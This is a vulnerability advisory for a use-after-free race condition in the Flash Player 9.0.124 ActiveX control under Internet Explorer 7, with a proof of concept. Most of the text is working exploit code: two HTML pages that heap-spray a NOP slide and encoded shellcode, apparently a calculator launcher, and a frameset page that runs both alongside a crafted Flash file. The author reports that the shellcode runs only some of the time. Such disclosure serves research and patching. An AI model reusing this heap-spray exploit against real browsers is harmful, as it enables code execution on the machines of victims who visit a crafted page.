Flash9f.ocx, Flash Player Plugin 9.00.0124.0000 Bad Pointer Vuln. Exploitable.

Javier Vicente Vallejo (j.v.vallejo [_at_]gmail.com, http://www.vallejo.cc)

Abstract

Last version of Flash Player ActiveX seems to be vulnerable, due to a race condition situation. Successful exploitation via Web Browser requires that the attacker should trick the user into visiting a specially crafted webpage.

Affected Versions

Tested with Adobe Flash Player 9.0.124.0 and Internet Explorer 7.0.5730.13.

Analysis

Flash Player manages lot of linked lists of internal objects. Under some conditions, it occurs that a object is extracted and freed from a linked list, but that object is being used yet.

From my analysis i deduced the bug is related to the flash player display list.
"In SWF 1 and 2, the display list was a flat list of the objects that are present on the screen at any given point in time. For SWF 3, this list has been extended to a hierarchical list where an element on the display can have a list of child elements.
Objects on the display list are referred to by a depth number. The object at depth 0 is the bottom of the stacking order. Only one object can exist at any given depth.
There are three basic operations on the display list:

- ***Place an object—****Place an character on at a given depth level using a specified transform.*
- ***Move an object—****Modify the object at the given depth level. Both the transform and the character can be modified.*
- ***Remove an object—****Remove the object at a given depth number from the display."*

It seems a object was removed from the display list while a pointer to the descriptor is being used yet.

This fact causes several crashes at different points, and, under some conditions and the appropiate memory state, it could be exploited to execute code. It could be exploited when the code calls a function in the vtable of the freed object. It occurs at different code addresses. For example it occured more times at this address for me:

```
30059AA9   8B01          MOV EAX,DWORD PTR DS:[ECX]
30059AAB   6A 01         PUSH 1
30059AAD   FF10          CALL DWORD PTR DS:[EAX]
```

The memory of the freed object was reused and it contains unknown data (they are different across executions).

I wasnt able to control perfectly this memory and the jump. I used some methods to modify the memory state before flash player was loaded (with heap spraying and loading photos), and while the flash player is being executed (with heap spraying from other frame).

Sometimes (ramdonly, i was not able to control it), the content of the freed memory (the old object that it is being used yet) let us to see our shellcode executed. When the vtable function value (now with new memory contents) is a value pointing to one of our heap spraying blocks and a call to this function is executed, our shellcode is executed.

The shellcode was executed sometimes, but i have not controlled it to get the exploit working 100% of executions.

Proof of Concept

Here is the html / javascript code that i used to reproduce the crash. It uses heap spraying method to change the memory state. Some photos could be put too, with the same purpose.

Heapspray1.htm:

```
<HTML>
<BODY>

<SCRIPT>


   function getSpraySlide(spraySlide, spraySlideSize)
                {
                        while (spraySlide.length*2<spraySlideSize)
                        {
                                spraySlide += spraySlide;
                        }
                        spraySlide = spraySlide.substring(0,spraySlideSize/2);
                        return (spraySlide);
                }

                function sprayfunc(memory,memoryi,heapBlockSize,heapSprayToAddress,nblocks)
                {
                        var payLoadCode=unescape(
                        "%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                        "%u652E%u6578%u9000%uaa22%uaa33%uaa44%uaa55");
                 var spraySlide = unescape("%u9090%u9090");

        var SizeOfHeapDataMoreover = 0x26;
                var payLoadSize = (payLoadCode.length * 2);

                var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
                var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

        spraySlide = getSpraySlide(spraySlide,spraySlideSize);

                for (i=0;i<nblocks;i++,memoryi++)
                {
                memory[memoryi] = spraySlide +  payLoadCode;
        }
```

```
	return memoryi;
		}

		var initmem = new Array();

		sprayfunc(initmem,0,0x80000,0x00000000,300);


</SCRIPT>


<input language=JavaScript type=button value="nothing">

<object width="550" height="400">
<param name="movie" value="a.swf">
<embed src="a.swf" width="550" height="400"></embed>
</object>

<img src="a.jpg">


</BODY>
</HTML>
```

Heapspray2.htm:

```
<HTML>
<BODY>

<SCRIPT>


   function getSpraySlide(spraySlide, spraySlideSize)
		{
			while (spraySlide.length*2<spraySlideSize)
			{
				spraySlide += spraySlide;
			}
			spraySlide = spraySlide.substring(0,spraySlideSize/2);
			return (spraySlide);
		}

		function sprayfunc(heapBlockSize,heapSprayToAddress,nblocks)
		{
			var memory = new Array();
			var memoryi=0;
			var payLoadCode=unescape(
			"%ue860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
			"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
			"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
			"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
			"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
			"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
			"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
			"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
			"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
			"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
			"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
			"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
			"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
			"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
			"%u652E%u6578%u9000%uaa22%uaa33%uaa44%uaa55");
		 var spraySlide = unescape("%u9090%u9090");

	var SizeOfHeapDataMoreover = 0x26;
		var payLoadSize = (payLoadCode.length * 2);
```

```
                var spraySlideSize = heapBlockSize - (payLoadSize + SizeOfHeapDataMoreover);
                var heapBlocks = (heapSprayToAddress+heapBlockSize)/heapBlockSize;

        spraySlide = getSpraySlide(spraySlide,spraySlideSize);

                for (i=0;i<nblocks;i++,memoryi++)
                {
                memory[memoryi] = spraySlide +  payLoadCode;
        }

        return memory;
                }

                function mainfunc()
                {
                        var gmemory1=sprayfunc(0x80000,0x00000000,500);
                        //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);
                        //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);
                        //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                        alert("hahaha");

                        var gmemory2=sprayfunc(0x80000,0x00000000,500);
                        //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);
                        //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);
                        //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                        alert("hahaha");

                        var gmemory3=sprayfunc(0x80000,0x00000000,500);
                        //gi2=sprayfunc(gmemory2,gi2,0x8000,0x00000000,10);
                        //gi3=sprayfunc(gmemory3,gi3,0x800,0x00000000,2000);
                        //gi4=sprayfunc(gmemory4,gi4,0x1000,0x00000000,1000);

                        alert("hahaha");
                }

                setTimeout(mainfunc,10);

</SCRIPT>

</BODY>
</HTML>
```

Heapspray.htm:

```
<html>
<head>
</head>
<frameset rows="400,400">
  <frame src="heapspray1.htm">
  <frame src="heapspray2.htm">
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
```